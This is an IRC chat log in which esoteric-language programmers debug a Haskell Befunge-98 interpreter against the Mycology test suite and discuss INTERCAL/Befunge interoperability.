14:49:37 <fizzie> elliott: Yes, I kept saying "switch to FireFox" and it instead every time opened iPhoto.
14:49:46 <elliott> fizzie: textual search? AUDIO SEARCH
14:49:46 <fizzie> But at least it was consistent.
14:49:54 <elliott> no wait
14:49:57 <elliott> video search
14:50:06 <elliott> spectate swamp video search!
14:50:12 <elliott> ah, that's the one flaw of spectate swamp search
14:50:16 <elliott> its input is text, rather than another video
14:50:18 <fizzie> So you act out the scene you're looking for in front of a camera?
14:50:26 <elliott> yes
14:50:28 <elliott> precisely
14:51:45 <elliott> ais523: seriously! (position,delta)! name it! i have naming disease!
14:51:48 <elliott> i can't code until i get names!
14:52:02 <ais523> I did already, did you not like my name?
14:52:05 <fizzie> What does cfunge call a structure like that?-)
14:52:22 <elliott> fizzie: probably it doesn't, it's too lame to have like, functions
14:52:26 <elliott> it's just a bunch of macros basically
14:52:29 <elliott> ais523: i did not :P
14:52:37 -!- poiuy_qwert has joined.
14:53:33 <fizzie> Yes, it seems it's just funge_vector position; funge_vector delta;.
14:53:49 <Deewiant> elliott: So you're stuck on the name and no progress has been made?
14:53:54 <elliott> Deewiant: YES
14:53:57 <elliott> THIS IS MY DISEASE
14:54:21 <Deewiant> elliott: It's a Ray
14:54:27 <ais523> elliott: what about ip_pos_delta?
14:54:32 <ais523> it's the name used by cfunge
14:54:33 <elliott> Deewiant: ...that...actually makes an upsetting amount of sense
14:54:38 <elliott> ais523: haha, really?
14:54:45 <Deewiant> Or HalfLine, but I prefer Ray
14:54:47 -!- poiuy_qwert has quit (Client Quit).
14:54:52 <ais523> void ick_save_ip_pos_delta(struct ick_ipposdeltatype* ippd)
14:54:55 <elliott> Deewiant: Half of an infinite line. Classic.
14:55:01 <ais523> actually, maybe just IFFI
14:55:15 <ais523> I just picked a random Funge interp I had handy...
14:55:21 <ais523> I like Ray too, though
14:55:32 <fizzie> Yes, ray is not bad.
14:55:34 <ais523> even though it should have an indication of speed
14:55:36 <elliott> ais523: wanna help me implement IFFI at some point :P
14:55:39 <fizzie> Whelps, off to do some shopping. ->
14:55:40 <elliott> FastRay
14:55:51 <ais523> elliott: as long as it doesn't actually involve writing code, sure
14:56:00 <elliott> ais523: of course it does, C-INTERCAL glue
14:56:06 <elliott> i'm not touching that code :-D
14:56:06 <ais523> note that the semantics of IFFI don't require the actual existence of an INTERCAL interp
14:56:10 <Deewiant> ais523: It does have an indication of speed, that's the delta('s magnitude)
14:56:12 <elliott> really?
14:56:18 <elliott> Deewiant: Yes, but the name Ray doesn't.
14:56:20 <ais523> Deewiant: I know, it's the name I was talking about
14:56:25 <elliott> It's the same ray no matter how fast you're travelling.
14:56:52 <ais523> elliott: it's just a fingerprint for INTERCAL control flow semantics
14:57:09 <elliott> ais523: why on earth was it implemented by ... right, of course.
14:57:10 <elliott> :p
14:57:21 <ais523> plus, an allowance for line numbers to be shared between the Funge program and a different program
14:57:23 <ais523> which gives you an FFI
14:57:24 <elliott> ais523: but you had an intercal->funge ffi, didn't you?
14:57:25 <elliott> right
14:57:42 <ais523> it's a useful fingerprint even if not used as an FFI, anyway
14:57:46 <ais523> for certain values of "useful"
14:58:00 <ais523> but the real merit is in hooking up other programs to the same control system
14:58:03 <Deewiant> Maybe I should write an INTERCAL interp so I could do IFFI
14:58:06 <ais523> so you can jump around between them via COME FROM
14:58:22 <ais523> and NEXT, etc
14:58:39 <elliott> Deewiant: :D
14:58:49 <elliott> Deewiant: does D not have an FFI? ;)
14:59:08 <ais523> elliott: it probably doesn't have one that works like /that/
14:59:19 <elliott> I mean a C FFI
14:59:23 <elliott> so that he could bind it to C-INTERCAL
14:59:24 <Deewiant> C-INTERCAL has some cfunge-only bits, I'd rather be NIH-y and write my own than add CCBI-only stuff to something else entirely
14:59:33 <elliott> Deewiant: C-INTERCAL doesn't include IFFI, IIRC
14:59:39 <elliott> So it'd be blank-slatey.
14:59:49 <Deewiant> Unless I've misunderstood the extent of the connection between cfunge and its companion
14:59:50 <elliott> Deewiant: OK, better idea: do it to CLC-INTERCAL using Perl's XS.
15:00:03 <elliott> Deewiant: IFFI is I think just a big patch to C-INTERCAL but I might be wrong.
15:00:11 <elliott> as well as the fingerprint implementation in cfunge
15:00:16 <elliott> Well, "big"
15:00:43 <Deewiant> Right, but I thought that the C-INTERCAL bits were at least partly cfunge-specific and not very pluggable to arbitrary interps
15:00:57 <ais523> elliott: wrong way round, it's actually a patch to cfunge to make it fit into ick's FFI
15:01:03 -!- asiekierka has joined.
15:01:06 <ais523> plus an expansion library to ick to implement the other side
15:01:08 <elliott> ah
15:01:14 <elliott> Deewiant: That's true, yes.
15:01:20 <elliott> Deewiant: Thus CLC-INTERCAL.
15:01:26 <elliott> Or for COMPLIANCE, J-INTERCAL.
15:01:34 -!- Sgeo has joined.
15:01:46 <Sgeo> I'm alive! I'm alive!
15:01:56 <ais523> in theory, you could just generate a library and a compiler to .cio and ick wouldn't need to know about the existence of the Befunge side at all
15:01:57 <Sgeo> [Note: I am not an it]
15:02:14 <Deewiant> Compiling Befunge to INTERCAL?
15:02:26 <Deewiant> Or what now?
15:02:50 <quintopia> you made me sing "sick day" by weird al sgeo (in my head)
15:02:53 <ais523> Deewiant: not exactly; it compiles Befunge to C (via the expedient of generating a program from a template that's pretty much just uses cfunge as a library and calls it)
15:03:46 <ais523> also, not quite C either; it's a .cio file (which is best explained like this: executable : linker : object file :: C : ick(1) : .cio file)
15:03:54 * elliott reads AnMaster argue against More Readable Use of Cat with 08:44:37 <AnMaster> ehird, "can not create process: limit exceeded"
15:04:09 <Deewiant> elliott: Mess with your Rays instead
15:04:11 <ais523> the INTERCAL program is also compiled to .cio, and the two are linked together, then the resulting C file compiled and linked
15:04:33 <elliott> Deewiant: Needs a better name, Ray would just be the point
15:04:34 <elliott> Not the delta
15:04:36 <elliott> Deewiant: Well
15:04:38 <Deewiant> No
15:04:44 <Deewiant> A ray is specifically the two put together
15:04:46 <elliott> Deewiant: Ray wouldn't distinguish (1,0) and (2,0)
15:04:55 <ais523> Deewiant: err, does that explain it? the whole thing's a little tricky to explain
15:05:07 <ais523> also, I had some sort of idea that some day the .cio files would be reusable, so you didn't have to compile the whole thing in one go
15:05:12 <Deewiant> elliott: If it's a ray in a discrete space, like it is, it arguably does
15:05:13 <ais523> but atm they aren't, and I forget why
15:05:22 <Deewiant> ais523: Well enough
15:05:48 <elliott> Deewiant: Fair enough then.
15:06:09 -!- augur has joined.
15:07:08 <ais523> so anyway, if you compile INTERCAL and Befunge-98 together, the command line looks like this: "ick -e program.i program2.b98", and it generates program.cio and program2.cio, linking them together with libick.a and libick_ecto_b98.a to form program (.exe, on DOS)
15:07:31 <ais523> I'm not entirely sure what happens if both the INTERCAL and Befunge programs have the same basename, I think it's a "so don't do that then"
15:08:13 <ais523> you could also link in one or C programs and an expansion libraries if you liked, along the lines of "ick -e program.i program2.b98 program3.c syslibc"
15:08:23 <ais523> assuming I've got that arg list in the right order, I'm not sure if it's sensitive to that
15:08:54 <ais523> but you're only allowed one INTERCAL input file (if you had multiples, you could just concatenate them); and one Befunge file (as it serves as the entry point if it's present)
15:09:00 <ais523> and other-dimensional Funges aren't supported
15:09:13 <ais523> (nor is Befunge-93 due to the lack of fingerprints)
15:11:39 <elliott> @hoogle (a -> b) -> (b -> a) -> (b -> b) -> a -> a
15:11:39 <lambdabot> Control.Parallel.Strategies (.|) :: (b -> c) -> Strategy b -> (a -> b) -> a -> c
15:11:40 <lambdabot> Control.Parallel.Strategies (.||) :: (b -> c) -> Strategy b -> (a -> b) -> a -> c
15:11:40 <lambdabot> Control.Parallel.Strategies (-|) :: (a -> b) -> Strategy b -> (b -> c) -> a -> c
15:11:46 <elliott> gah
15:11:52 <elliott> the above is the "within" function, if anyone's curious
15:11:52 <Deewiant> @djinn (a -> b) -> (b -> a) -> (b -> b) -> a -> a
15:11:52 <lambdabot> f a b _ c = b (a c)
15:12:05 <elliott> Deewiant: that's not right
15:12:06 <elliott> it's
15:12:19 <elliott> f fro to f x = to (f (fro x))
15:12:28 <elliott> if we take the first two arguments as a tuple
15:12:31 <elliott> then it's "within"
15:12:32 <Deewiant> ?ty \fro to f x -> to . f . fro $ x
15:12:33 <lambdabot> forall a b a1 a2. (a2 -> a1) -> (a -> b) -> (a1 -> a) -> a2 -> b
15:12:39 <elliott> whatever :P
15:12:45 <Deewiant> @djinn (a2 -> a1) -> (a -> b) -> (a1 -> a) -> a2 -> b
15:12:45 <lambdabot> f a b c d = b (c (a d))
15:12:50 <Deewiant> @pl \fro to f x -> to . f . fro $ x
15:12:50 <lambdabot> flip ((.) . (.)) . flip (.)
15:12:54 <elliott> for instance
15:13:04 <elliott> type Accessor a b = ((a -> b), (b -> a))
15:13:09 <elliott> ray :: Accessor IP Ray
15:13:14 <Deewiant> flip (.:) . (>>>)
15:13:18 <elliott> er
15:13:19 <elliott> it's actually
15:13:23 <elliott> type Accessor a b = ((a -> b), (a -> b -> a))
15:13:30 <elliott> ray = (\(IP r _) -> r, \(IP _ s) r -> IP r s)
15:13:33 <elliott> then you can say
15:13:39 <elliott> within ray transformRaySomehow someIP
15:13:41 <elliott> and it's the same as
15:13:48 <elliott> someIP{ ray = transformRaySomehow (ray someIP) }
15:13:58 <elliott> you can also define all the setters and stuff based on this
15:14:01 <elliott> TODO: hack that into Shiro
15:15:48 <elliott> ip <- ip <$> get
15:15:52 <elliott> I SHOULD RENAME THAT FIELD
15:15:55 <elliott> To ips, probably :P
15:15:59 <elliott> When I implement t.
15:16:23 <Deewiant> elliott: s/ip <$> get/gets ip/
15:16:45 <elliott> Deewiant: Fuck. I forgot that one space != two spaces in string mode.
15:16:50 <elliott> I also forgot that spaces take a tick in non-string-mode.
15:16:55 * Sgeo suddenly has VB flashbacks
15:17:09 <Deewiant> They don't take a tick in non-string-mode.
15:17:32 -!- MigoMipo has joined.
15:17:54 <ais523> elliott: one space == two spaces even in string mode, in Befunge-98
15:17:54 <elliott> Deewiant: Not even a single tick?
15:18:00 <elliott> ais523: i mean
15:18:02 <ais523> and they don't take time outside stringmode
15:18:02 <elliott> one space != zero spaces
15:18:07 <ais523> err, indeed
15:19:06 <Deewiant> elliott: No, not even one.
15:19:35 <elliott> Deewiant was wroooong.
15:19:38 <elliott> foo <$> get != gets foo.
15:19:47 <elliott> Or at least...
15:19:51 <elliott> Couldn't match expected type `StateT FungeState IO Value'
15:19:51 <elliott> against inferred type `a -> Value'
15:19:52 <elliott> In the expression: (!@ k) . gets fungeSpace
15:19:52 <elliott> In the definition of `peek': peek k = (!@ k) . gets fungeSpace
15:19:59 <elliott> OH.
15:20:00 <elliott> Duh.
15:20:04 <elliott> Should be <$>
15:20:39 <Deewiant> Deewiant was riiiight.
15:23:01 <elliott> Now let's see how Mycology does when spaces are stripped from strings.
15:23:10 <elliott> 0 1 2 3 4 5 5
15:23:16 <elliott> HEY AIS523 ;)
15:23:27 <Sgeo> What is with Reddit and Chrome?
15:23:32 <Sgeo> Maybe it's the plugins I use?
15:23:41 <elliott> 6 95 _ East-West If If the comparison is done incorrectly
15:23:41 <elliott> (i.e. the wrong direction is taken)
15:23:41 <elliott> an additional "5 " is output.
15:23:41 <ais523> elliott: _ went the wrong way, perhaps due to reversing the comparison
15:23:49 <elliott> doCharIns '_' = do x <- pop; if x == 0 then go west else go east
15:23:55 <elliott> so X-Y if is X if true, Y if false?
15:23:58 <elliott> erm
15:24:00 <elliott> *X-Y if
15:24:11 <elliott> doCharIns '|' = do x <- pop; if x == 0 then go north else go south
15:24:14 <elliott> is that flipped?
15:24:39 <Deewiant> 95 _ East-West If b delta <- if (b) (-1,0) else (1,0)
15:24:47 <Deewiant> 124 | North-South If/2D b delta <- if (b) (0,-1) else (0,1)
15:24:50 <elliott> Deewiant: Oh my god, you need this binary. It is hilarious watching it type out each letter painstakingly.
15:24:56 <elliott> elliott@elliott-MacBookAir:~/Code/shiro$ ./shiro
15:24:57 <elliott> 75489
15:24:57 <elliott> 0 1 2 3 4 5 6 7
15:24:57 <elliott> GOOD:,works
15:24:57 <elliott> 4 GOOD::duplicates
15:24:57 <elliott> BAD:emptystackpopsnonzero
15:24:59 <elliott> That took about a minute.
15:25:16 <Deewiant> That 4 is suspicious
15:25:20 <elliott> This is the slowest interpreter ever.
15:25:25 <elliott> Deewiant: Yeees, I'm not sure what that is.
15:25:30 <elliott> Maybe some debug. :p
15:25:41 <elliott> How does it test empty stack popping non-zero?
15:25:42 <Deewiant> Given the space it looks like it came from a .
15:25:42 <elliott> i.e. what instruction
15:25:50 <Deewiant> It shouldn't matter
15:25:54 <Deewiant> Probably _
15:25:58 <Deewiant> Maybe |
15:26:19 <Deewiant> Except that it hasn't tested | yet, so probably _
15:26:20 <elliott> Then likely my | is flipped too.
15:26:25 <elliott> Oh.
15:26:41 <elliott> Well, it just uses pop.
15:26:46 <elliott> Oh wait.
15:26:51 <elliott> tos :: Shiro Value
15:26:51 <elliott> tos = headOr space <$> toss
15:26:52 <elliott> SPOT ERROR
15:27:16 <elliott> Deewiant: That 4 just came again without the space.
15:27:19 <Deewiant> I like how you just use the wrong constants everywhere
15:27:27 <elliott> Yes, it's the source of all my bugs.
15:27:47 <elliott> Deewiant: It gets slower every single character. I'm not sure why.
15:27:53 <elliott> Bounds checking?
15:28:25 <elliott> Seriously, this thing is impressively slow.
15:28:28 <Deewiant> Sounds like some big expression getting built up and not forced
15:28:36 <elliott> Deewiant: Yeah, I have absolutely no strictness annotations.
15:28:42 <elliott> Dear god it's at 101% CPU.
15:28:46 <elliott> And doing very little :P
15:28:50 <elliott> Well, | works.
15:28:52 <elliott> Ooh, something else works!
15:28:53 <elliott> What is it!
15:28:54 <elliott> 0! = 1.
15:28:58 <elliott> SOMETHING ELSE WORKS
15:29:03 <elliott> It takes a while to figure out what it is though :P
15:29:24 <elliott> Deewiant: Is it possible to pass Mycology with a stringmode as broken as mine?
15:29:28 <elliott> I fear it may be.
15:29:35 <ais523> elliott: in what way is it broken?
15:29:37 <Deewiant> No, it's not.
15:29:41 <elliott> ais523: GOOD:emptystackpopszero
15:29:45 <Deewiant> It'll look at spaces eventually.
15:29:47 <ais523> elliott: heh
15:29:50 <elliott> BAD:900pgdoesn'tget9
15:29:52 <elliott> NOOOOOOOOOOOOOOOOOOOOOOO
15:29:54 <Deewiant> HA
15:30:06 <ais523> elliott: are p/g meant to work?
15:30:11 <elliott> doCharIns 'g' = popVec >>= peek >>= push
15:30:11 <elliott> doCharIns 'p' = do val <- pop; pos <- popVec; poke pos val
15:30:12 <elliott> yes
15:30:19 <elliott> and as far as I can tell, they _should_
15:30:29 <Deewiant> elliott: Wrong order of pop/popVec
15:30:35 <elliott> Aargh :P
15:30:57 <Deewiant> ?. undo pl do pos <- popVec; val <- pop; poke pos val
15:30:57 <lambdabot> Parse error at "lette..." (column 47)
15:31:08 <Deewiant> ?. pl undo do pos <- popVec; val <- pop; poke pos val
15:31:09 <lambdabot> (pop >>=) . poke =<< popVec
15:31:19 <elliott> Deewiant: But hey, this isn't bad for my second day of coding, if you ask me. Admittedly I asked you a lot of things.
15:31:33 <elliott> But I figured out most of the instructions myself! And I haven't copy-pasted a single line from CCBI, which is innovative for this channel.
15:32:13 <elliott> Deewiant: This thing is gonna go bezerk testing my negative k behaviour, isn't it.
15:32:27 <elliott> n <- pop
15:32:27 <elliott> advance
15:32:27 <elliott> toNextIns
15:32:27 <elliott> if n <= 0
15:32:27 <elliott> then replicateM_ (fromIntegral (abs n)) advance
15:32:28 <elliott> else do Ray pos _ <- gets (ray . ip)
15:32:30 <elliott> replicateM_ (fromIntegral n) (doIns =<< peek pos)
15:32:41 <Deewiant> If you get lucky it'll UNDEF
15:32:42 -!- copumpkin has joined.
15:32:42 <elliott> Arguably it should be advance >> toNextIns that it replicates.
15:32:55 <elliott> Arguably enough that I'm fixing it now.
15:33:25 <Deewiant> No, arguably it shouldn't be
15:33:29 <elliott> Deewiant: Why not
15:33:31 <Deewiant> 0k x hits the x
15:33:44 <elliott> Deewiant: It already does that
15:33:45 <Deewiant> I think, anyway
15:33:51 <Deewiant> If you make it toNextIns it won't
15:33:55 <elliott> Deewiant: (advance >> toNextIns).
15:33:59 <elliott> Yes it would.
15:34:09 <elliott> Deewiant: Note that 0 is a nop for the replicateM_.
15:34:13 <elliott> It just starts off with "advance; toNextIns".
15:34:17 <Deewiant> Oh right, you do that earlier
15:34:19 <elliott> It's logical that it would continue to do so for smaller values.
15:34:26 <Deewiant> Well
15:34:36 <Deewiant> If your code is a nop for zero than any behaviour at all is arguable
15:34:38 <Deewiant> For negatives
15:34:46 <Deewiant> Or rather, they're all equally un-arguable
15:34:49 <elliott> Deewiant: I think the main slowness here is that it's calculating the bounds for the entire fungespace every single move.
15:34:53 <Deewiant> :-D
15:34:54 <elliott> Including multiple times for a stream of spaces.
15:34:58 <elliott> That can't be fast :P
15:35:11 <elliott> <Deewiant> Or rather, they're all equally un-arguable
15:35:15 <elliott> Hey, mine is, like, continuous.
15:35:18 <Deewiant> Looping through 80000 Map nodes every instruction won't be fast, no :-D
15:35:25 <Deewiant> And doing it twice, too, I guess
15:35:49 <elliott> f(n) | n > 0 = normal k behaviour; | otherwise = advance to next instruction |n|+1 times
15:35:49 <Deewiant> elliott: replicateM_ (fromIntegral (abs n)) launchTheMissiles matches the spec too
15:35:52 <elliott> f(n) | n > 0 = normal k behaviour; | otherwise = advance to next instruction |n|+1 times
15:35:56 <elliott> Deewiant: But mine captures the 0 behaviour ELEGANTLY.
15:36:02 <elliott> UNDEF:#acrossleftedgeskipseasternmostcellinfile
15:36:07 <Deewiant> elliott: No it doesn't, because your thing is just a nop for 0
15:36:10 <elliott> Deewiant: That's the behaviour you think should be BAD if not for Vorpal, right?
15:36:13 <elliott> Also, no it's not.
15:36:20 <elliott> I do "advance; toNextIns" beforehand in k.
15:36:28 <Deewiant> Your code for n <= 0 is a nop for 0
15:36:32 <elliott> -_-
15:36:35 <Deewiant> So you can put whatever you like in there
15:36:43 <elliott> Deewiant: Yes, but I mean the algorithm behind it.
15:36:50 <elliott> I just moved it above since the else branch would use it too.
15:37:02 <elliott> UNDEF:#acrossleftedgeskipseasternmostcellinfile
15:37:02 <elliott> UNDEF:#acrossleftedgehitseasternmostcellonline
15:37:06 <elliott> <elliott> Deewiant: That's the behaviour you think should be BAD if not for Vorpal, right?
15:37:12 <ais523> elliott: those look like IRC channels
15:37:24 <Deewiant> I think the fact that you need to do it in both cases just proves that it's not sensible to somehow extend it to negatives :-P
15:37:33 <Deewiant> And more or less yes
15:37:35 <ais523> elliott: that's the naive behavoiur, isn't it?
15:37:38 <ais523> *behaviour
15:37:41 <elliott> ais523: I think so
15:37:43 <ais523> although it's dubious semantically
15:37:47 <Deewiant> Not just "for Vorpal" but more that I'm lazy
15:37:50 <elliott> Deewiant: My # is just "advance"
15:37:56 <elliott> Should it be advance >> toNextIns?
15:37:57 <elliott> Or what?
15:38:00 <elliott> Or a special function?
15:38:03 <Deewiant> Your data structure should be better :-P
15:38:09 <ais523> I can see a case for skips, hits; but skips, skips is more reasonable
15:38:23 <Deewiant> hits, hits is what I'd like
15:38:24 <elliott> GOOD:0k^doesn'texecute^
15:38:24 <elliott> D:1k[turnsleftat[
15:38:26 <elliott> Deewiant: ...D?
15:38:31 <ais523> Deewiant: err, I meant hits, hits
15:38:45 <ais523> elliott: it's not GOOD or BAD, it's just D
15:38:52 <elliott> It's hung :P
15:38:58 <ais523> obviously k did something so insane that it hit a random part of fungespace
15:39:25 <elliott> Deewiant I have no idea what is going on
15:39:31 <elliott> But I think this means k is broken.
15:39:51 <Deewiant> The reason it doesn't say BAD is because your stringmode is broken
15:40:05 <elliott> Yay :P
15:40:12 <elliott> Deewiant: I thought the CCBI behaviour _was_ to advance before executing it.
15:40:16 <elliott> Or is it advance _after_?
15:40:18 <ais523> Deewiant: apparently you don't check for broken stringmode early enough
15:40:29 <elliott> ais523: it takes skill to break stringmode as badly as I have
15:40:33 -!- ais523 has left (?).
15:40:36 <Deewiant> I know, I forgot to do it for the Befunge-98 half so I inserted it after k
15:40:41 -!- ais523 has joined.
15:40:42 <Deewiant> I know, I forgot to do it for the Befunge-98 half so I inserted it after k
15:40:49 <ais523> EgoBot: I thought you just ignored spaces?
15:41:00 <ais523> *elliott:
15:41:22 <elliott> Yay, I think I've fixed it.
15:42:09 <Deewiant> Hmm, I wonder if I can get away with ; instead of " there
15:42:31 <elliott> Couldn't match expected type `s -> a' against inferred type `IP'
15:42:32 <ais523> have you tested ; by that point?
15:42:32 <elliott> In the first argument of `gets', namely `ip'
15:42:33 <elliott> What...
15:42:41 <Deewiant> I'm not sure I have
15:42:45 <ais523> elliott: never use gets, it's deprecated and inherently a security hole
15:42:49 -!- Phantom_Hoover has joined.
15:42:52 <elliott> ais523: ...
15:42:56 <Deewiant> Evidently I have
15:42:58 <Deewiant> ais523: :-D
15:43:05 <elliott> Deewiant: I just hope he's actually joking :P
15:43:10 <ais523> elliott: I am, obviously
15:43:13 <elliott> *phew*
15:43:23 <elliott> ais523: hey, 2007-you would have said that seriously. maybe.
15:43:28 <ais523> the "deprecated" was intended to make sure
15:43:48 <ais523> but even a C-style gets would be safe in Haskell
15:43:52 <elliott> oh duh
15:43:57 <Deewiant> Yeah, it seems ; is fine
15:44:07 <elliott> the second gets uses the first ip as the function
15:44:10 <elliott> because of the name clash :D
15:44:45 <elliott> stringmode works
15:45:34 <elliott> what's wrong with fngr
15:45:37 <elliott> idgi
15:46:23 <elliott> "For all fingerprints involving vectors, RC/Funge-98 doesn't, for some
15:46:23 <elliott> reason, use the IP's storage offset."
15:46:23 <elliott> eh?
15:46:34 <Deewiant> In practice, though, I'd expect people to fix their "" as soon as they see the messed up messages. :-P
15:47:00 <elliott> i'm too hardcore for that
15:47:06 <elliott> Deewiant: ooh just realised something
15:47:12 <elliott> Deewiant: my removing spaces from fungespace on load is a fail
15:47:23 <elliott> Deewiant: because it means it has to go through the is-it-in-the-map procedure before returning 32
15:47:24 <elliott> wait no
15:47:29 <elliott> almost identical behaviour i think
15:47:32 <elliott> for returning a default
15:47:34 <elliott> since it exploits Ord
15:47:36 <Deewiant> That's actually out of date
15:47:37 <elliott> never mind :P
15:47:41 <elliott> Deewiant: ?
15:47:53 <Deewiant> The tests don't assume that behaviour, but neither do they depend on it
15:47:57 <Deewiant> Re. storage offset
15:48:23 <elliott> Deewiant: Hmm, I disagree with your interpretation of #
15:48:31 <elliott> Consider an IP starting at (0,0) with a delta of (2,0)
15:48:40 <elliott> It STANDS TO REASON that the IP's position is always (2n,0) for integer n.
15:48:43 -!- Phantom_Hoover has quit (Ping timeout: 240 seconds).
15:48:53 <ais523> elliott: doesn't Deewiant's # interpretation do that?
15:48:54 <elliott> Therefore, after traversing the infinite Lahey space line magic, it arrives at the other side at (0,0).
15:48:58 <elliott> ais523: Hmm, right.
15:49:05 <elliott> I don't see how wrapping and # are any different, though.
15:49:06 <Deewiant> (0,0) is (2n,0) with n = 0.
15:49:09 <elliott> I don't see how wrapping and # are any different, though.
15:49:22 <elliott> Why does wrapping end up past the start of the line because of the delta, and # not?
15:49:31 <Deewiant> Huh?
15:49:35 <elliott> loop (x,y) (dx,dy) (mx,my)
15:49:35 <elliott> | x `ltx` mx && y `lty` my = (mx+dx, my+dy)
15:49:37 <elliott> From my loop.
15:49:41 <elliott> i.e., for positive dx and dy:
15:49:45 <elliott> if x < maximumx and y < maximumy
15:49:50 <Deewiant> # is just movement
15:49:52 <elliott> er
15:49:52 <Deewiant> You wrap thereafter
15:49:53 <elliott> *minimum
15:49:59 <elliott> then resulting position is (minimum x + dx, minimum y + dy)
15:50:00 <Deewiant> You don't necessarily hit the start of the line
15:50:11 <Deewiant> But with a delta of (1,0) you of course do
15:50:54 <elliott> Deewiant: Then I don't see why my interpretation of # as advance is wrong. Sure, it wraps but OHHH
15:51:07 <elliott> It can advance, making it wrap, and will then go to the next instruction.
15:51:09 <elliott> OK, I think I can fix that.
15:51:53 <elliott> doCharIns '#' = modifyRay (\Ray (x,y) (dx,dy) -> (x+dx,y+dy))
15:51:54 <elliott> TADA
15:52:00 <elliott> BAD: 1k[ turns left at [
15:52:04 <elliott> Baf
15:52:04 <Deewiant> # as advance is completely correct, it's just that the way you do wrapping with the bounds rectangle it works a bit weirdly
15:52:05 <elliott> *Bah
15:52:21 <elliott> Deewiant: I thought your trace showed that k did advance to the instruction before executing it.
15:52:39 <Deewiant> 2011-02-07 14:25:42 ( Deewiant) elliott: For the record, this behaviour follows from the impl "move IP; if (arg==0) return; get next instruction; move IP back; while (arg--) execute instruction;"
15:52:49 <elliott> Move IP back. Right.
15:52:54 -!- Phantom_Hoover has joined.
15:54:31 <elliott> I've removed the flush and it seems to be going slower because I don't see the incremental character-typing. :P
15:56:45 <Deewiant> So add it back, it's more fun that way :-P
15:57:31 <elliott> You make a good case.
15:58:14 <elliott> Strangely, the "GOOD: , works" line appears faster than the "GOOD: : duplicates" one. :D
15:58:32 <Deewiant> GOOD: , works can't rely on : working yet, so it can't use a loop.
15:58:51 <ais523> flushes hardly slow down a program that isn't I/O bound anyway
15:58:53 <elliott> Deewiant: ...That is amazing.
15:59:01 <elliott> Deewiant: That is possibly my favourite slowdown ever.
15:59:04 <Deewiant> So it outputs at 1 char/tick instead of 1 char/7 ticks or so, I forget the loop's speed
15:59:10 <elliott> :-D
15:59:10 <ais523> I use them in pretty much all my esolang interps, on the basis that esolangs are basically never I/O-bound
15:59:17 <Deewiant> If it's the right-to-left loop it's like 1 char/11 ticks
15:59:25 <elliott> ais523: Befunge-98 IO is character-based, though.
15:59:35 <elliott> So flushing is quite more dramatic than e.g. flushing after Underload's S :P
15:59:44 <Deewiant> Flushes aren't exactly zero-cost for CPU anyway.
15:59:53 <elliott> Deewiant: I think my talk about no premature optimisation was a bit much.
16:00:00 <elliott> How long is the typical Mycology output? :P
16:00:04 <elliott> When fully passed.
16:00:04 <ais523> Deewiant: no, but the length of time they take is proportional to the amount of I/O you do
16:00:16 <ais523> so they hurt I/O-bound programs much more than CPU-bound programs
16:00:45 <ais523> (this morning, I was learning about GPU-bound programs, and how they can either be memory-bound or thread-bound)
16:00:51 <elliott> There are plenty CPU-bound programs that do a lot of IO while computing. :P
16:00:55 <Deewiant> $ ccbi -f-all mycology.b98| wc -c
16:00:57 <Deewiant> 11060
16:01:02 <elliott> Deewiant: In lines?
16:01:10 <elliott> Shouldn't take long to check, since your interpreter is INSTANT and all.
16:01:13 <Deewiant> $ ccbi -f-all mycology.b98| wc
16:01:15 <Deewiant> 287 1485 11168
16:01:35 <elliott> G O O D : i n s t r u c t i o n s b e t w e e n ; a r e s k i p p e d
16:01:39 <elliott> ^ Representation of how slow this is going.
16:01:40 <Deewiant> If you remove all the tmp files
16:01:44 <Deewiant> 284 1470 11005
16:01:48 <Deewiant> (I.e. first run)
16:01:56 <elliott> Deewiant: It changes depending on the run? :P
16:02:06 <elliott> Well, 284 isn't bad.
16:02:10 <Deewiant> Without FILE it can't remove the tmp files that it uses to test i and o
16:02:15 <elliott> I'm assuming that's the line count. Wait, no.
16:02:18 <Deewiant> Or was it FILE; whatever.
16:02:21 <elliott> What are wc's counts again?
16:02:28 <Deewiant> Lines words chars
16:02:29 <elliott> Oh, lines, words, bytes.
16:02:30 <elliott> 284 lines then.
16:02:39 <elliott> I forgot that wc can count actual words. :P
16:02:43 <elliott> UNDEF: # across left edge hits easternmost cell in file
16:02:43 <elliott> UNDEF: # across left edge hits easternmost cell on line
16:02:50 <elliott> Deewiant: That's the way, uh-huh uh-huh, you like it, uh-huh uh-huh?
16:02:56 <Deewiant> Ayup.
16:03:00 <elliott> BAD: 0k^ executes ^ at ^
16:03:00 <elliott> lol i broked it
16:03:51 <elliott> Oh, duh.
16:04:03 <elliott> Deewiant: Ha, it now does the 0 as part of the ORTHOGONAL case.
16:04:10 <elliott> n <- pop
16:04:11 <elliott> if n <= 0
16:04:11 <elliott> then replicateM_ (fromIntegral (abs n + 1)) (advance >> toNextIns)
16:04:11 <elliott> else do st <- get
16:04:11 <elliott> let fs = fungeSpace st
16:04:11 <elliott> let insIP = nextInsPos fs (nextIPPos fs (ip st))
16:04:13 <elliott> let Ray pos _ = ray insIP
16:04:15 <elliott> replicateM_ (fromIntegral n) (doIns =<< peek pos)
16:05:08 <Deewiant> s/fromIntegral (abs n + 1)/fromEnum (n == 0)/ and you're good to go
16:05:20 <elliott> Deewiant: My behaviour is perfectly legal!
16:05:30 <elliott> Deewiant: Also, that would make -1kx execute x.
16:05:32 <elliott> Once.
16:05:33 <ais523> elliott: see if you can get your interp powerful enough to handle fungot reliably
16:05:34 <fungot> ais523: before learning your second language, have a huge pile of ideas in my head
16:05:37 <elliott> Which I guess is appealing, in a way :P
16:05:40 <elliott> *01-kx
16:05:41 <elliott> I should say.
16:05:49 <ais523> fungot: it's a little late for that...
16:05:49 <fungot> ais523: you can still scroll the waves forward until the cone positions match
16:05:56 <elliott> Deewiant: Wanna run this on your machine so I can find out what's the next thing that's wrong before the sun goes cold? :-D
16:06:01 <elliott> *that's wrong is
16:06:11 <elliott> ais523: fungot is mainly an exercise in implementing fingerprints.
16:06:12 <fungot> elliott: i don't know
16:06:12 <Deewiant> Mine probably won't be that much faster, but sure, if you want.
16:06:23 <ais523> elliott: indeed, although you need to get the basics working too
16:06:38 <ais523> IIRC it uses TOYS
16:06:44 <ais523> which was possibly meant to be a joke
16:07:13 <elliott> Deewiant: Uploading shiro to sprunge now.
16:07:23 <elliott> I would feel guilty about the abuse of web space, but it's Google's.
16:07:26 <elliott> So I don't. :P
16:07:35 <elliott> elliott@elliott-MacBookAir:~/Code/shiro$ uuencode shiro 755 <shiro|curl -F 'sprunge=<-' sprunge.us
